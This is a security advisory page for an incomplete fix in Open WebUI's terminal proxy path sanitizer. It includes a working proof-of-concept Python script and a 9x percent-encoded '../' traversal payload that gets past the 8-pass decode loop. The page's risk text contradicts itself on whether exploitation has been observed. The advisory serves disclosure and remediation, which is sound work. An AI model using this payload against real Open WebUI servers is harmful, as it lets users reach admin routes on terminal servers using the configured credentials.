Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-frvj-c5qp-xj4w

HighCVSS 7.7 / 10
Published Jul 24, 2026·Last modified Jul 24, 2026
Affected Components(0)

No affected components available

Description

AI assistance was used to help inspect the code and prepare this report.

Summary

The fix for GHSA-r2wg-2mcr-66rv is incomplete in v0.9.6 and current main. backend/open_webui/routers/terminals.py documents _sanitize_proxy_path() as decoding until stable, but the implementation stops after 8 unquote() passes. A 9x percent-encoded ../... path parameter remains once-encoded after the loop, passes the posixpath.normpath() and cleaned.startswith('..') checks, and is forwarded to the configured terminal server. The upstream server then receives a decoded traversal path such as /base/../admin/system.

Impact

A user who has access to an admin-configured terminal connection can bypass the terminal proxy path traversal guard and cause Open WebUI to forward requests with the configured terminal credentials and X-User-Id header to paths outside the intended normalized proxy path. For orchestrator-backed terminal connections the same sanitized path is placed under /p/{policy_id}/{safe_path}, so the bypass can also target sibling or parent routes after upstream decoding. This is a bypass of the same terminal proxy boundary covered by GHSA-r2wg-2mcr-66rv.

This does not require adding a malicious terminal server or convincing an administrator to weaken settings. The attacker only needs normal access to an existing configured terminal connection.

Reproduction

The following standalone Python script mirrors the current sanitizer and uses a local aiohttp server as the terminal-server canary. It shows that 8x encoding is rejected but 9x encoding is accepted and forwarded as a traversal after the upstream framework decodes the path.

import asyncio, posixpath
from urllib.parse import unquote
from aiohttp import web, ClientSession, ClientTimeout

def sanitize(path):
    decoded = path
    for _ in range(8):
        once = unquote(decoded)
        if once == decoded:
            break
        decoded = once
    cleaned = posixpath.normpath(decoded).lstrip('/')
    if cleaned.startswith('..') or cleaned == '.':
        return None
    return cleaned

def enc(s, rounds):
    out = ''.join(f'%{b:02X}' for b in s.encode())
    for _ in range(rounds - 1):
        out = out.replace('%', '%25')
    return out

async def main():
    async def handler(request):
        return web.json_response({'raw_path': request.raw_path, 'path': request.path})
    app = web.Application()
    app.router.add_route('*', '/{tail:.*}', handler)
    runner = web.AppRunner(app)
    await runner.setup()
    site = web.TCPSite(runner, '127.0.0.1', 0)
    await site.start()
    port = site._server.sockets[0].getsockname()[1]

    for rounds in (8, 9):
        safe = sanitize(enc('../admin/system', rounds))
        print(rounds, safe)
        if safe:
            url = f'http://127.0.0.1:{port}/base/{safe}'
            async with ClientSession(timeout=ClientTimeout(total=10)) as session:
                async with session.get(url) as response:
                    print(await response.json())
    await runner.cleanup()

asyncio.run(main())

Observed output on current main and v0.9.6 sanitizer:

8 None
9 %2E%2E%2F%61%64%6D%69%6E%2F%73%79%73%74%65%6D
{'raw_path': '/base/..%2Fadmin%2Fsystem', 'path': '/base/../admin/system'}

The 9x encoded path argument is 285 bytes long, so this is not a megabyte-sized or impractical URL. When sent through the real route, account for the ASGI server decoding the HTTP path once before filling the {path:path} parameter: an external request can use one additional encoding layer so _sanitize_proxy_path() receives the 9x encoded parameter shown above.

Root Cause / Technical Details

_sanitize_proxy_path() in backend/open_webui/routers/terminals.py performs this loop:

decoded = path
for _ in range(8):
    once = unquote(decoded)
    if once == decoded:
        break
    decoded = once

The subsequent traversal check is applied only to the value after those 8 iterations. If the input still contains encoded dot and slash bytes after the loop, posixpath.normpath() treats them as ordinary characters rather than path separators. The code then builds target_url = f'{base_url}/{safe_path}' and sends it with aiohttp.ClientSession.request(). The upstream server receives and decodes the forwarded path, turning the accepted %2E%2E%2F... into ../....

The same vulnerable sanitizer is present in v0.9.6, the latest release. I verified the v0.9.6 backend/open_webui/routers/terminals.py hash matches current main for this file.

Remediation

Do not rely on a fixed decode-depth cap for a traversal security boundary. Recommended fixes:

  1. Decode until stable with a strict input length cap, and reject if the final value still contains encoded dot, slash, or backslash separators.
  2. Reconstruct the allowed relative path from fully decoded segments: split on path separators, reject empty/current/parent segments, then join allowed segments with /.
  3. Add regression tests for at least 9x and 10x encoded ../ payloads, including a route-level test that accounts for the ASGI server's initial path decode before the {path:path} parameter reaches _sanitize_proxy_path().
Risk Scores
Base Score
7.7

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information.

Threat Intelligence
7.1

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.36%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard